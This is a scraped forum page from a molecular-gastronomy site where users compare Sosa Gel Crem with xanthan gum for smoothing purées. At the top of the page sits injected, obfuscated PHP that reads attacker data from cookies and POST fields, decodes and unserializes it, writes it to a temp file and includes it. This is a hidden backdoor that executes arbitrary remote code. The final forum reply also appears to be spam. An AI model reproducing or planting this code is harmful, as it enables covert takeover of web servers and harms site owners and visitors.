$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();} Sosa Gel Crem vs Xanthan gum? | Molecular Recipes
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Sosa Gel Crem vs Xanthan gum?

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Molecular Gastronomy Recipes, Tips and Techniques › Molecular Gastronomy Forum › Techniques › Gels › Sosa Gel Crem vs Xanthan gum?

This topic contains 2 replies, has 3 voices, and was last updated by  libidek128 1 month, 1 week ago.

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  • August 3, 2016 at 10:52 am #11813

    tavaruapt@hotmail.com
    Participant

    Hi everyone, I have a question I want to make super smooth purées and I’m wondering what you would recommend? I have seen that Sosa have Gelcrem hot and cold but what is better Gelcrem or Xanthan gum? Does Sosa Gelcrem also stabilises like Xanthan gum? What are the biggest difference between the two products beside one is derived from potato starch and the other from corn starch.

    February 24, 2017 at 10:34 am #11851

    Quantum Chef
    Keymaster

    I am not familiar with Gelcrem but it seems to be a modified food starch such as ultra-tex or ultrasperse.
    http://www.molecularrecipes.com/hydrocolloid-guide/ultra-tex/
    http://www.molecularrecipes.com/hydrocolloid-guide/ultra-sperse/

    October 24, 2024 at 9:51 pm #12320

    libidek128
    Participant

    Sosa Gel Crem and Xanthan Gum are both popular food thickeners, but they differ in texture and application. Sosa Gel Crem provides a smooth, creamy finish, making it ideal for sauces and desserts, while Xanthan Gum is more versatile, often used to stabilize and thicken liquids in a wide variety of recipes. Depending on the desired result, either can be a great choice for enhancing textures in dishes. Whether you’re preparing dishes from scratch or exploring options like the xw western grill menu, both thickeners offer unique benefits depending on the recipe.

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